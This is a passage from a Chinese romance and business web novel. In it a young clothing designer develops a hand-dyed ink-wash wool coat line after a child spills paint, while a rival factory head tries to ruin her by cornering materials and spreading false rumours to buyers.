舟舟这丫头,似乎完全没听到大人的惊呼和责备,她蹲在地上,正全神贯注地盯着眼前这些布料。 她显然被自己“创作”出的色彩效果迷住了,伸出沾着颜料的小手指,小心翼翼地、带着惊叹地去触碰那些流淌、晕染开来的色彩边界。 在她眼中,这不是“弄脏”,而是“好看”。 周柒柒的心猛地一跳,几乎是屏住了呼吸,视线紧紧跟随舟舟的手指,聚焦在那片被颜料“污染”的坯布上。 之前这料子被大片的纯色晕染,不仅不均匀,而且暗淡无光,难看至极。 可此刻,在多种颜色颜料泼洒晕染后,那种生硬呆板的感觉消失了! 黑色颜料在水的作用下自然过渡,边界模糊交融,形成了极其柔和、丰富又充满意境的渐变色层,像极了水墨画中墨色淋漓、浓淡相宜的感觉,有种说不出的高级感和独特韵味! 一种强烈的、颠覆性的灵感如同闪电般劈中了她! 她猛地挣脱沈淮川的搀扶,几乎是踉跄着扑了过去,一把抓起那块色彩最为“混乱”也最为“生动”的布料! 手指用力捻着湿漉漉的料子,指尖感受着纤维的触感,眼睛却像被磁石吸住一般,死死盯着那上面自然形成的、独一无二的晕染效果! 它不是进口澳毛那种工业化的、精准到刻板的均匀纯色,而是一种...一种带着呼吸的、仿佛拥有生命的色彩! 像是雨后的天空,像水墨在宣纸上的洇染,像大自然本身最随性又最和谐的杰作! “均匀......为什么一定要均匀?!” 她激动地喃喃自语,声音因为兴奋而微微发颤, “错了!我之前钻牛角尖了!总想着怎么去模仿甚至超越进口料子的纯色......美难道只有一种标准吗?” 她越说越激动,猛地抬起头,眼中燃烧着豁然开朗的狂喜: “这种自然的、深浅不一的晕染,就像最美的水墨画,每一笔都是独一无二的,根本无法复制!这才是独属于我们东方美学的高级感!这才是‘光华’应该有的、别人想抄都抄不来的魂!” 巨大的惊喜如同汹涌的浪潮,瞬间冲垮了之前的绝望和疲惫! 这一刻,所有的疲惫和绝望一扫而空,取而代之的是喷薄而出的创作激情和无限可能! 她激动地一把抱起还在地上懵懵懂懂的舟舟,在她沾着点点颜料的小脸上狠狠亲了一口,声音里充满了难以言喻的喜悦和赞叹: “舟舟!你真的是个小天才!你帮了婶婶天大的忙了!” 舟舟被她突然的拥抱和亲吻弄得有点懵,一双乌溜溜的大眼睛茫然地眨了眨,像浸在清水里的黑葡萄,透着纯真的不解。 周柒柒此刻却顾不上解释,巨大的兴奋和创作冲动席卷着她。 她小心翼翼地将地上所有被颜料“玷污”的布料一块块捡起来,视若珍宝地抱在怀里,然后蹲下身,尽量放柔了声音问舟舟: “舟舟,这些...这些‘画’,借给婶婶用好不好?” 小丫头咬着嘴唇,看了看那些她刚刚“创作”完成的“作业”,再想想吴老头期待看到她作业的模样,小脸上露出一丝不舍,但最终还是乖巧地点了点头。 周柒柒此刻满心都被新生的灵感充斥着,没太留意孩子那点细微的情绪,得了允许,立刻抱着这堆“宝贝”转身就钻回了房间。 书桌上的台灯被“啪”地拧亮,昏黄的光线笼罩下来。 她迫不及待地将布料铺开,如同展开一卷神秘的画卷。 指尖划过那些自然流淌的色彩边界,心中早已成竹在胸。 她抓起绘图铅笔,雪白的画纸上,线条飞快地勾勒出熟悉的“光华”经典廓形,但这一次,旁边标注的色彩说明不再是单一的“正红”、“墨绿”,而是变成了充满诗意的描述。 “墨池”、“雨过天青”、“暮山紫”...... 每一款设计图旁,都对应着一块被舟舟“创作”过的布料,那上面的颜色就是她灵感的源泉。 沈淮川安静地站在房门口,看着柒柒伏案疾书的身影。 那专注的侧脸在灯光下仿佛镀上了一层柔光,连日来的疲惫似乎被一种焕然一新的身材锁取代。 他眼底荡漾开一丝温柔的笑意,没有出声打扰,只是轻轻地将房门带上,隔绝了外面的声响。 转过身,对上舟舟那双大眼睛,一大一小相视一笑。 沈淮川揉了揉小丫头的脑袋,下巴朝那一片狼藉的卧室扬了扬,那意思再明白不过。 咱们得一起打扫战场了。 小丫头却立刻皱起了小鼻子,有气无力地转了转自己的小手腕,一双大眼睛无辜地望着他。 不用说话,沈淮川就懂了。 这小丫头是在说自己画画手腕酸了,干不动活儿了。 这撒娇耍赖的小模样,简直和周柒柒如出一辙。 这小丫头以前可是最懂事的,干活积极的不得了,跟着周柒柒都学坏了。 可谁让沈淮川就吃这一招呢,没办法,他无奈地笑了笑,指了指洗澡间的方向。 “热水烧好了,你不想打扫,就先去洗澡吧,等你洗完也打扫的差不多了。” 舟舟立刻眉开眼笑,拿出周柒柒给她做的小睡衣,蹦蹦跳跳地就跑了。 留着沈淮川看着一地的颜料点子,摇头失笑,任劳任怨地拿起抹布和水盆,心甘情愿地当起了清洁工。 房间里,铅笔划过纸张的沙沙声持续不断地响着。 周柒柒完全沉浸在色彩与线条地世界里,大脑告诉运转着,将那些意外的晕染效果完美地融入到她构想的新设计中。 直到最后画完一笔,手腕传来阵阵酸胀,她才猛地从那种忘我的状态里抽离出来。 抬腕看了一眼,居然已经夜里十一点了。 这么晚了? 她心里一惊,平时这个点,她和沈淮川肯定都睡着了,而今天,床上空荡荡的。 轻轻推开房门,客厅里只留下了一盏小灯,光线昏暗,夜风袭来,冷的周柒柒打了个寒颤。 伴着月光,她看见沈淮川高大的身躯蜷缩在小小的沙发上,睡着了,身上只搭着他的军装外套。 但细微的开门声却马上惊醒了他。 沈淮川几乎是马上就睁开了眼睛,眼神还有点迷蒙,但第一句话却是, “忙完了?饿了吧?” 他立刻坐起身,外套滑落也不在意,“菜还在锅里热着,我一直看着火呢,就等你忙完吃点。” 看着他眼底的疲惫和第一时间流露出来的关切,周柒柒心头又软又酸,像是被什么东西填得满满的。 她也不矫情,听沈淮川那么一说,她真觉得肚子空落落的,点了点头, “嗯,是有点饿了,吃点吧。” 沈淮川动作利索,立刻就去厨房,把一直温在灶上的酸菜鱼端了出来。 鱼肉依旧鲜嫩,酸菜的味道勾得人食指大动。 他还特意帮周柒柒搭配了一小碟从邓翠香家拿的酱黄瓜和萝卜干,爽口又开胃。 周柒柒就这米饭,吃得身子暖烘烘的,疲惫都驱散了不少。 吃完饭,沈淮川二话不说就收拾碗筷去洗了。 洗澡水也是准备好的,周柒柒快速去冲了个澡。 洗完澡,困意排山倒海般袭来,她打着哈欠就往卧室走,只想立刻扑进温暖的被窝。 可刚走到卧室门口,就被沈淮川拦住了。 第270章 生活纵然有坎坷 沈淮川高大的身影挡在门口,昏暗中,他那双深邃的眼睛仿佛能洞察人心。 “柒柒,你是不是还有事没跟我说?” 周柒柒眼神下意识地躲闪了一下,嘴硬道, “没...没有啊,快睡觉吧,困死了都。” “真没有?” 沈淮川向前一步,微微低下头,目光锁住她,语气带着诱哄,“乖,赶快说。” 在他洞若观火的目光下,周柒柒那点小心思无所遁形。 她只好嘟着嫣红的小嘴,小声说道, “真没什么大事,就是...想着你之前不是说,认识黑市车队的人吗?他们路子广,车子也跑得快,能不能,帮我去B省那个小厂跑一趟,帮我紧急拉一批原色呢料回来?” 她顿了顿,解释道, “厂里那辆老卡车,张国强总是抠门,不让人开,里头零件都生锈了,现在跑起来贼慢,我不想耽误事儿...” 沈淮川一听是这事儿,紧皱的眉头瞬间松开,急急道, “就这事儿?没问题!他们那些运输队就是干这个的,白天晚上都跑车,快得很!我这就去电话室打电话联系!说不定连夜就能给你运回来!你明天早上去厂里就能用得上!” 他说着就要往外走,那架势,恨不得立刻飞奔出去。 “哎!都这么晚了!” 周柒柒一把拉住他的胳膊,心疼他眼下的乌青, “明天早上去也来得及!不差这一晚上,你赶紧休息!” 沈淮川却反手握住她的手,干燥温暖的掌心包裹着她的指尖, “乖,我就去打个电话,几步路的事,很快回来。” 这几天,看着她独自扛着压力忙来忙去,他看在眼里,急在心里,早就憋着一股劲儿想替她分担了。 周柒柒知道他的脾气,没再阻拦。 沈淮川像是领了重要任务似的,脚步轻快地就出了门。 沈淮川办事,想来雷厉风行,靠谱得让人心安。 除了办这件事,他还心疼周柒柒早起还要骑半个小时的自行车去城里。 第二天一大早,他没有早早去军区,而是盯着周柒柒吃完早饭后,开着那辆拨给他用的军用吉普,亲自送周柒柒去城里。 这会儿是早点七点多,他还没到呢。 张国强和马师傅就先一步拖着疲惫的身子到厂门口,正愁眉苦脸地说着没有合适料子的事,就听见一阵急促的卡车喇叭声。 只见一辆风尘仆仆的大卡车,吭哧吭哧地直接刹停在了厂门口,车斗上盖着厚厚的防尘布。 一个穿着厚棉袄,脸膛冻得通红,看着十分利落的精装汉子跳下车,嗓门洪亮: “喂,同志!你们这是第一服装厂吧?打听一下,你们谁是管事的,这一车呢料,给你们卸哪儿?” 张国强和马师傅都愣住了,互相看了一眼,眼里全是茫然。 他以为是听错了,赶紧凑上前: “同志,你没搞错吧?什么呢料?我们没订新料啊!” 他心里咯噔一下,第一个念头就是丘奉贤那王八蛋玩阴的不成,改成强买强卖了? 想把那批黑心澳毛硬塞过来?回头再跟他们要钱? 这还了得! 这么一想,他汗毛都竖起来了,应激似的朝着门卫室大喊, “李老头!快!抄家伙!有人来捣乱!” 厂里保卫科的李老头也是个暴脾气,一听厂长这喊声,立刻抄起墙角的扫帚就冲了出来,几个早来的老师傅也围了上来,想把那个卡车司机赶走。 那黑市来的司机师傅也不是吃素的,常年在外跑车,什么阵仗没见过,当下就撸起袖子,梗着脖子: “嘿!你们这厂子怎么回事?我开了大半夜的车,好心好意送料上门,还想动手咋地?老子可不怕你们!” 眼看着双方剑拔弩张,一场误会就要升级成冲突,沈淮川那辆军绿色的吉普车稳稳停在了卡车旁边。 周柒柒利落地推开车门跳下来,声音清亮:“都别动手!误会了!” 她快步走到卡车前,对那司机师傅歉意地点点头,然后转向一脸紧张加茫然的张国强和马师傅,脸上是雀跃的笑容: “张厂长,李师傅,快放下!这车料是我托人连夜从B省拉回来的!” 张国强举着的扫帚僵在半空,眼睛瞪得溜圆,又惊又疑: “柒柒?你...你找到能用的料子了?!” 他顿时喜上眉梢,也顾不上刚才的误会了,一把扔了扫帚,手脚并用地就爬上了卡车后斗,迫不及待地掀开防尘布一角。 可只看了一眼,他脸上的喜色就僵住了,转而皱紧了眉头,疑惑地跳下车,拉着周柒柒走到一边,压低声音: “柒柒,你是不是...急糊涂了?这...这不都是没染色的原色坯布吗?灰扑扑的,跟咱要的‘光华’...它也不是一回事啊!” 他的心,一下子又从云端跌回了谷底。 旁边的马师傅也是一样,脸色愁的跟苦瓜似的。 但是周柒柒却丝毫不见一丝愁容,她嘴角弯起一个神秘的弧度,眼睛里闪着光,声音清亮, “张厂长,马师傅,你们别看它们现在灰扑扑的,待会儿,可就不一样了!” 她语气里的那份笃定和兴奋,像有感染力似的,驱散了张国强心头的疑虑。 他虽然还是一肚子问好,但周柒柒之前那些力挽狂澜的操作他是服气的,当下把心一横,大手一挥, “成!听周师傅的!老王,快去,把闲着的人都叫出来,卸货!” 呼啦啦,早到的老师傅、小年轻们都涌了出来。 沈淮川也挽起军装袖子想帮忙,周柒柒却轻轻拉住了他胳膊肘。 “你快回去吧,年底军区事儿多,别耽搁了。” 她心里明明是心疼他为了他熬夜又奔波,但那些话堵在嗓子眼里,滚了几滚也没说出来。 沈淮川停下动作,深深看了她一眼,那双深邃的眼睛像是能看进她心里去。 “我们结了婚,就是夫妻,夫妻之间,这些都是应该的,同甘共苦。” 很简单的一句话,没有什么花哨的辞藻,但却像是一颗小石子,猛地投进周柒柒心湖里,荡漾开一圈又一圈陌生的涟漪。 她愣在了哪儿。 从前说到婚姻,夫妻。 周柒柒首先想到的,就是父母吵吵嚷嚷、互相怨怼的画面。 可现在,想到这两个词儿,那些画面倏地模糊了,有些看不清楚。 取而代之的,是沈淮川深夜归来桌上那碗热腾腾的面,是他蜷在沙发上等她时候疲惫的睡颜,也是他夜里搂着她睡的甜蜜... 她心里某个冰封的角落,似乎咔擦一声,裂开了一道细缝。 心里忍不住冒出一个念头,这就是婚姻嘛,似乎遇到一个对的人,一切好像...也没那么糟糕。 不过这念头也只是一闪而过,她不敢多想,眼前还有更重要的事情在等着她。 她甩甩头,把那点陌生的情绪抛开,强行把沈淮川推进了车里,让他赶紧走。 看着吉普车越来越远,她正准备回头,一抬眼,却看见一个绝没想到会在这个时候出现在这里的人影。 她惊讶地瞪大了眼睛,还以为自己忙晕了眼。 “大梅姐?!” 她喊出声,“你怎么这个时候过来了?” 这几天她倒是总来送饭,但现在这也不是饭点啊。 赵大梅手里提这个布袋子,风风火火地走过来,脸上带着爽朗的笑, “瞧你们这儿忙得脚打后脑勺,我跟萍姐请了两天假,过来看看有啥能搭把手的,从前都是你帮我,也该轮到我帮帮你了。” 她把袋子往周柒柒手里一塞,里面是还暖烘烘的糖炒栗子, “我是不懂你们这做衣服的门道,但烧火做饭、端茶送水、跑跑腿总行的,别的不敢说,力气我有的是!” 说着就利索地撸起袖子,露出结实的胳膊,二话不说就加入到卸货的队伍里,扛起一卷呢料,腰板挺得直直的。 张国强在一边劝说她别累着了,她直接白眼一横,“我是帮柒柒,又不是帮你,这儿还轮不到你说话。” 这么多人看着呢,张国强倒也不恼,憨厚地挠着后脑勺,看着赵大梅干活利索地眼里,眼睛里的欣赏藏都藏不住。 周柒柒看着她二话不说就投入“战斗”的背影,鼻尖蓦地一酸。 这两天,虽然压力很大,很困难,但她身边的人好像都在用各自的方式撑着她。 朱莹莹自然不必多说,帮她带着舟舟,让孩子顿顿都能吃上热乎饭; 邓翠香昨天才从外地回来,一听说这事儿,立马就送来了刚腌好的爽口小菜,就为了让她能多吃几口饭; 眼前的赵大梅,更是直接跑来出力气; 还有张国强、马师傅、李萍姐...... 这些点点滴滴的情分,汇成一股暖流,把她因丘奉贤而生的那点阴霾冲得干干净净。 生活纵然有坎坷,但被这么多人的善意稳稳托着,周柒柒只觉得浑身充满了干劲儿,前途一片光明。 她也不再多想,唇角荡漾起一个明媚的笑容,快步上前,同样利落地撸起袖子。 “来!大家一起,早点干完吗,咱们好早点让‘光华’亮起来!” 第271章 水墨光华 人多力量大,满满一卡车的呢料,没多大功夫就全搬进了仓库,堆得整整齐齐。 周柒柒本想搭把手,可张国强和赵大梅都拦着他。 他们都了解周柒柒的性格,也觉得周柒柒的脑子可比力气金贵多了,这种粗活儿哪儿能让她干。 周柒柒也不矫情,顺手抄起一卷料子,脚步轻快地直奔车间。 她径直走到马师傅那台用得最顺手的缝纫机前,手脚麻利地裁剪、车线。 缝纫机“哒哒哒”一阵响,布料在针尖下顺从地分开,露出毛茬茬的边缘。 很快,“光华”系列那经典的廓形大衣衣片就有了雏形。 等张国强她们卸完货,擦着汗找过来时,就看到周柒柒正挽着袖子,身上系了个围裙,面前摆着几个大盆,她手里拿着个旧搪瓷缸子,正小心翼翼地往其中一个盆里兑水。 张国强一下子愣住了,凑过去迟疑地问:“周师傅,你这是打算...另辟蹊径,自己染色?” 他卸货地时候就仔细看了,这确实是B省那个小厂的料子。 当初他本来都没打算考虑要这家的样品,就是因为他们染的色实在是上不了台面,灰扑扑的,还不均匀,怎么也追不上进口料子的鲜亮饱满。 他第一反应就是周柒柒被逼得没法子,要自己动手弥补这料子的缺陷。 他叹了口气,解释道, “我和这个厂子的厂长也是朋友,这厂子不是没努力,他们也学着用进口的那套工业化纱筒染色,整批布往里染,就想染个均匀,可咱这底子...机器和工艺都差点意思,纤维处理不到位,染出来就是差股劲儿,大片大片的颜色都不匀净。” 说着说着他就发起了愁,“你想突破这个技术,怕不是那么容易的...” 周柒柒抬起头,脸上却不见愁容,反而荡漾开一个清亮,又带着点叛逆的笑容, “均匀?张厂长,为什么我们一定要追求均匀呢?” 她把手在围裙上擦了擦,眼神灼灼, “美难道就只有‘均匀’这一种标准吗?我们为什么总要踩着别人划好的道道走?说不定,咱们国产的呢料,自个儿就藏着另外一条通天大道呢?” 说着,她像献宝似的,小心翼翼地从旁边拿出几块昨晚被舟舟“糟蹋”过的样布。 张国强和马师傅都是跟布料打了一辈子交道的人,虽然自己不会没有设计的才华,但是眼光毒得很。 只一眼,两人就同时吸了一口气! 那灰扑扑的呢料,用单一颜色去染,确实不上档次。 但被多种颜色这么一泼一染,之前那种生硬呆板的感觉竟然奇迹般地消失了! 色彩与色彩之间自然地过渡、交融,像是被水晕开的上好墨汁,层层叠叠,有种难以言喻的意境和高级感,简直妙不可言! 两人瞬间看直了眼,尤其是马师傅,手指忍不住在那晕染的纹路上轻轻摩挲,喉头滚动了一下,喃喃道:“这...这感觉...” “美!” 张国强憋了半天,终于吐出一个字,眼睛都亮了。 连旁边站着的赵大梅也看呆了,她没啥文化,形容不出多高级,只觉得心口被什么东西撞了一下,朴实地冒出一句: “真好看!跟...跟我大闺女语文课本上印的那些画似的!” 周柒柒笑了,这朴实无华的赞美比什么都动听。 她立刻从包里抽出连夜赶工的设计图稿,唰地一下展开在缝纫机台面上。 “所以,这就是‘光华’系列的升级版——水墨光华!” 设计图上,依然是那个标志性的利落版型,但衣片上的颜色不再是呆板的单一纯色,而是流动的、晕染开来的水墨意境。 浓淡相宜的墨色、雨过天青般的蓝灰、暮色四合时的紫韵... 保留了“光华”的筋骨,却赋予了它全新的、独属于东方美学的灵魂。 张国强和马师傅脑袋凑在一块儿,眼睛黏在图纸上,半晌才同时长长吐出一口气,异口同声: “太美了!柒柒,你真是神了!咱厂子有救了!” 张国强激动得直搓手,仿佛已经看到成品大放异彩, “这可比原先那个强太多了!怪不得你连夜拉料子!” 他迫不及待地问:“那咱赶紧让B省那厂子按这效果染好送过来?” “不,张厂长。” 周柒柒摇头,眼中闪烁着笃定的光芒, “这种独一无二的水墨韵味,靠他们那种工业化筒染或匹染,是绝对染不出来的。均匀恰恰是它的死敌!” 她拿起裁好的那片衣片,手指点了点: “我的想法是,我们厂自己动手!对每一块裁剪好的衣片,进行手工浸染或刷染。” 她比划着, “时间长短,刷染的力道方向,甚至染料配比上稍微一点点的差异,都会让每块衣片的晕染效果都独一无二,充满手工的温度和自然的灵性!” 周柒柒的声音清亮而充满力量: “这正好完美避开了国产染料不易染匀的短板!而且,手工赋予的‘不完美’,才是它最珍贵的地方。” “我们要让‘水墨光华’系列,每一件衣服,都成为世上独一无二的艺术品!” “好!太好了!” 张国强看着那设计图上流淌的水墨意境,再看看周柒柒拿出的晕染样布,只觉得一股热气直冲天灵盖,浑身充满了干劲儿! 马师傅更是摩拳擦掌,眼睛放光,恨不能立刻上手。 周柒柒也是雷厉风行,抄起一片刚裁好的衣片: “说干就干!时间不等人,染料我都调好了!” 她信心满满,之前她和朋友去手工制作过纸扇,还有点模糊印象,觉得不就是把布放进去搅和搅和嘛。 挺简单的嘛,看来她的“水墨光华”系列很快就能问世。 她小心翼翼地将衣片浸入深蓝色的染料盆里,学着记忆中师傅的手法,用木棍搅动了几下,心里盘算着时间,感觉差不多了就提溜出来。 然而,理想很丰满,先是却骨感得咯人。 水淋淋的布料一展开,车间里瞬间安静了。 没有想象中水墨流淌的意境,只有一片片脏兮兮、深浅不一的灰蓝色快,像是谁不小心蹭上去的污渍,又像是没搅开的浆糊,糊在布上,难看极了。 周柒柒举着这块“杰作”,小嘴微张,眼睛瞪得溜圆,整个人都懵了:“……怎么会这样?” 她难以置信地喃喃,手指无措地揪着那块失败的布料, “我明明...昨天舟舟就那么随便泼了一下啊...” 她那副又呆又委屈的模样,让张国强和马师傅发现一个事实,周柒柒也就是个二十岁的小女孩而已。 马师傅忍不住“噗嗤”笑出了声,无奈又宠溺地摇了摇头,“傻妞儿!” 她走上前,接过周柒柒手里那团“浆糊布”, “染布可不是这么简单的事儿,尤其还是呢料子!又厚又吃水,更得讲究门道。” 她仔细看了看那失败的染色效果,摇摇头, “你昨天看到的那块,是颜料泼上去自然晕开的,水分干了就定型了,跟咱们这要把颜色吃进纤维里的正经染色,那是两码事!” 周柒柒一听,肩膀顿时垮了下来,明媚的小脸皱成一团,“啊?那...那咋办啊?” “别急,” 马师傅脸上带上沉稳的笑,一边利索地系上围裙,一边说道, “我家祖上就是开染坊的,这点子手艺,我从小耳濡目染,还算在行,让我来试试。” 只见马师傅先是伸手试了试几个染料盆的水温,摇摇头,转身就招呼人去烧热水兑温水。 接着,她又拿起小勺,仔细调整着每个盆里的染料浓度,深一点浅一点地调着,嘴里还念念有词。 然后,她拿起一块新的衣片,没有像周柒柒那样整个浸下去,而是用一把宽大的鬃毛刷子,蘸饱了调好的深蓝染料,手腕带着一种奇特的韵律,或快或慢、或轻或重地在布料上刷扫、点染。 深色刷过之后,又迅速换了另一把刷子,蘸取稀释过的浅蓝甚至月白色染料,在边缘处轻轻扫染、过渡。 最后才将整片布小心地浸入特定温度的固色液中,手指灵活地翻动、按压,确保染料均匀渗透。 一套动作行云流水,带着老师傅特有的沉稳和章法。 不一会儿,重新提起来的衣片,虽然离周柒柒设计图上的效果还有差距,但已经截然不同! 深蓝与浅蓝、月白之间不再是生硬的边界,而是有了自然的、柔和的晕染过渡,虽然还略显稚嫩,但那种水墨氤氲的雏形和高级感,已经隐隐约约透出来了! “瞧见了吧?” 马师傅擦擦手,笑着说道, “这染色是个慢功夫、细活儿。水温、染料浓度、刷染的力道方向、浸泡时间的长短...差一点点,出来的效果就天差地别,想要稳定地染出柒柒图纸上那么漂亮的晕染效果,可不是一蹴而就的,得耐着性子,一点点试,一点点调!而且,得大量试验,就靠这几个盆,可不够。” 周柒柒看着那块虽然不完美,但是却已经初见韵味的料子,眼睛重新亮了起来。 最初的原料和灵感关卡都床过来了,剩下的,不过是需要更多的耐心和汗水。 之前几天几夜,几乎不眠不休地找料子,都扛过来了,还怕再多花几天功夫调试吗? 她立刻振作起来,仔细问清楚马师傅都需要哪些工具和材料,让张国强马上派人去置办。 接下来的几天,第一服装厂的车间里,灯火几乎彻夜未熄。 周柒柒、张国强、马师傅,带着生产线上一群信得过的女工师傅们,组成了临时的“染色攻关小组”。 一间空厂房里,巨大的染缸架起来了,一排排染料盆冒着热气,各种尺寸的鬃毛刷、扁刷堆在一边。 这个染色的攻关过程,远比他们想象的更艰难。 失败是家常便饭,不是颜色浅了不上色,就是深了显得脏污; 不是晕染边界太生硬,就是色彩混合成了污糟的一团。 染费的料子堆了一个又一个箩筐,每个人的手上、围裙上都沾满了斑驳的颜色。 周柒柒却没有丝毫气馁。 她始终守在染缸边,手上、脸上蹭得五颜六色也顾不上擦,眼睛熬得通红,却比谁都专注。 她虚心地跟着马师傅学,拿起刷子一遍遍练习,手腕酸了甩甩手继续。 张国强跑前跑后,协调材料,给大家鼓劲。 马师傅更是寸步不离,像定海神针,耐心地指导着每个人。 从最初的生涩、失败,到偶尔出现惊喜的局部效果,再到能基本控制晕染的大致方向...... 经历了好几个挑灯夜战的夜晚,熬红了多少双眼睛,终于—— 在一个同样灯火通明的深夜,当马师傅将一片浸染、刷染完美结合的呢料衣片从固色液中提起,轻轻抖开时,整个车间都安静了。 灯光下,深沉的墨色如同夜色下的远山,在布料上层层铺开。 边缘处,墨色自然地晕染过渡成清雅的月白,没有一丝生硬的边界,如同宣纸上最精妙的水墨,深浅有致,意境悠远。 这正是周柒柒设计图中“远山黛”的效果! “成了!真的成了!” 短暂的寂静后,是压抑不住的欢呼! 女工们激动地拍手,有的甚至抹起了眼泪。 几天几夜的辛苦,无数次的失败,在这一刻都值了! 很快,“雨过天青”的澄澈蓝灰渐变、“暮山紫”的紫韵流淌、“墨池”的浓淡相宜.... 周柒柒设计图上的五大高级配色方案,如同魔术般,从纸上跃然布上,活色生香! 那曾经困扰国产毛呢的“不均匀”,此刻成了最耀眼、最独特的艺术语言! 成功的那个晚上,周柒柒没有让兴奋冲昏头脑。 她把所有参与其中的工人师傅都召集到一起。 “姐妹们,咱们自己染出来的‘宝贝’,得有个好名字!” 周柒柒脸上还沾着点蓝色染料,笑容却比灯还亮, “大家集思广益,给咱们的新‘光华’取个响亮的名字!” 压抑了几天的气氛彻底沸腾了。 工人们七嘴八舌,热情高涨: “我看像山水画!叫‘水墨丹青’!” “那深蓝淡蓝的,像不像远处的山?叫‘远山’好!” “暮山紫!这名字图纸上就有,多好听!” ...... 周柒柒仔细听着,眼里闪着光,一口气记了好多个名字。 最后,她综合大家的智慧,一锤定音: “好!咱们的新系列,就叫‘水墨光华’!具体款式,就用大家取的这些意境美的好名字!不过,具体是什么名字,咱们现在先不公布,大家跟我一起先保密,到时候有惊喜...” 她神神秘秘的眨了眨眼睛,车间里爆发出热烈的掌声和叫好声。 绝望早已被抛到九霄云外,每个人的脸上都洋溢着参与创造的自豪感和对未来的无限期待。 这一次,所有人都知道,第一服装厂,真的要打一场漂亮的、扬眉吐气的翻身仗了! 第272章 之前只是小打小闹 就在第一服装厂里热火朝天、干劲儿十足的时候,第三服装厂那边却是一片冷清萧条。 为了掐死周柒柒的退路,丘奉贤这回是真下了血本。 厂里账上那些明面上的、犄角旮旯里的钱,全被他挪了个干干净净,连工人的福利费、养老储备金都掏空了。 这还不够,他又把厂子的厂房、地皮、还有那几台还算值钱的老设备,一股脑儿抵押给了银行,贷出一笔能压死人的巨款。 但是这些钱都没在账户里待上多久,就像流水一样,哗哗地淌出去,全都变成了原材料。 堆积如山的英产骆驼绒,那些价格死贵的进口辅料,第一服装厂抢购什么,他就加价买下来什么。 钱花的精光,才勉强把那些东西都买回来了,最后连另外租废弃厂房的钱都没有了。 所有高价抢来的料子,最后只能全都堆在了车间里。 丘奉贤盘算着,就算现在开工生产,做出来的衣服也卖不出去,还得搭上人工水电,实在是不划算,还不如干脆停产算了。 于是,原先还能勉强运转的服装厂,说停工就停工了,工人师傅们也临时放了假。 厂里唯一还在忙碌的,就是丘奉贤那个几个堂弟表弟。 他们的任务只有一个,死死叮嘱第一服装厂的动静,有任何风吹草动,立刻回来报告。 这都过去十来天了,预想中张国强和周柒柒哭爹喊娘,提着钱来求他的场面迟迟没有出现。 去黑市里卖布料的人也说,那边没见第一服装厂的人来问价。 但是,丘奉贤一点也不急。 他每天都跷着二郎腿,窝在自己办公室那张宽大的皮椅里,慢悠悠地品着刚沏好的高档龙井。 手边摊着几本崭新锃亮的小轿车宣传画册,他的手指点着上面一辆黑色桑塔纳的图片,仿佛那已经是他的囊中之物。 小姨子刘香芹来问情况,他只嗤笑一声, “急什么?两款料子都在老子手里攥着呢!那么多订单像催命符似的压着,除非她周柒柒会变戏法,能变出好料子,否则,爬也得爬到老子面前来求!” 他笃定得很,觉得周柒柒的挣扎不过是晚几天认命罢了。 直到一个小堂弟气喘吁吁地跑进来,说第一服装厂那边凌晨有辆大卡车拉了一整车呢料进去。 丘奉贤心里咯噔一下,手里的茶壶差点没拿稳。 但听完堂弟后续打听来的消息,知道那只是B省一个名不见经传的小厂出的国产呢料时。 他悬起的心立刻落回了肚子里,甚至嗤笑出声。 “国产...国产呢料?哈哈哈哈哈...” 他语气里的鄙夷几乎要溢出来了,像是听到了什么天大的笑话, “周柒柒这是穷疯了?还是脑子进水了?用国产呢料?那都是次货!灰头土脸,软塌塌的没筋骨,染色更是差得没眼看!做出来的衣裳,给叫花子穿还差不多!” 他彻底放心了,认定了周柒柒这是走投无路,都病急乱投医了,拿根本就上不了台面的东西瞎糊弄。 他甚至觉得,自己之前真是太高看周柒柒了。 不过,张国强和周柒柒到现在还没像他预想的那样,哭爹喊娘地爬过来求他。 这让丘奉贤觉得脸上有点挂不住,像是被人小瞧了。 “看来,是我之前太给第一服装厂脸了!” 他摸着下巴,眼珠子一转,露出一抹阴恻恻的笑,立刻把几个堂弟又叫了进来。 “去,给你们都分派个活儿,立刻去联系花城那边,和第一服装厂签了单子的大批发商,还有那些百货大楼的采购负责人。” 他压低声音,沉着脸吩咐道, “就跟他们说,第一服装厂的原料彻底断供了,根本生产不出货!那个承包人周柒柒,眼看要赔得倾家荡产,已经准备卷铺盖跑路了!说得越惨越好,越严重越好!让他们给我往死里催货!” 他脸上重新浮起那种掌控一切的得意笑容,仿佛已经看到第一服装厂被催货电话打爆,周柒柒走投无路的场景。 “把火给我烧旺点!烧死他们!我就不信,她周柒柒还能硬扛多久!迟早得乖乖爬到我面前来!” 他仿佛已经听到了金钱落袋的美妙声响。 丘奉贤和他那帮亲戚,干这种损人利己的勾当,手脚那叫一个麻利,效率高得惊人。 本来第一服装厂办公室那部电话,这几天已经消停了不少。 张国强刚瞅着清静了,正琢磨着把电话机再挪回自己办公室里,这催命的铃声就又跟抽风似的响了起来,一声接着一声,尖锐又急促,就没个停歇的时候。 这回,电话那头的人,口气可就不只是催货那么简单了。 一个个火气冲天,嗓门大的差点把听筒震破,不是嚷嚷着要退货,就是掰着手指头算损失,索要高额赔偿,话里话外都带着威胁。 光打电话还不算完,没两天,竟然还有人从外地风尘仆仆地赶了过来,直接堵在了第一服装厂的大门口。 三五个人,叉着腰,唾沫横飞,吵吵嚷嚷,引得周边几个厂子的工人都探头探脑地来看热闹,厂门口一时间闹哄哄乱糟糟的。 可这回,第一服装厂上上下下,再没了之前的焦头烂额。 周柒柒稳坐钓鱼台,张国强脸上也没了愁容,工人们该干啥干啥,从上到下都有一股子说不出的从容。 周柒柒把张国强签下的那些批发商名单摊在桌上,手指头点着,专门挑出那三个闹腾得最凶的,眸色沉静地吩咐道。 “张厂长,你找花城那边的老熟人仔细打听打听,这三家,底细肯定不干净。” 张国强赶紧去问,果不其然,消息很快反馈回来。 这三家以前是第三服装厂的老主顾,专收丘奉贤那些抄袭仿冒的廉价货,甚至还帮着丘奉贤偷过其他家的版型,可以说是穿一条裤子的交情。 周柒柒冷笑一声,抓起笔,在那三家的退款申请单上,“唰唰”签下大名,自己娟秀,但却力透纸背。 “他们不是闹着要退定金吗?那就如他们的意,退!把他们交的定金,一分不少,全退回去!” 张国强一愣:“啊?真退啊?” 这可都是钱啊! 周柒柒点了点头,顿了顿,手指轻轻拂过桌上那本《经济合同法》,嘴角弯起一抹锐利又果决的弧度,声音清亮,却又带着满满的豪气, “不!咱们按照法律规定,直接给他们退双倍定金!” “双倍?!” 张国强差点咬了舌头,眼珠子瞪得溜圆。 “对,双倍!” 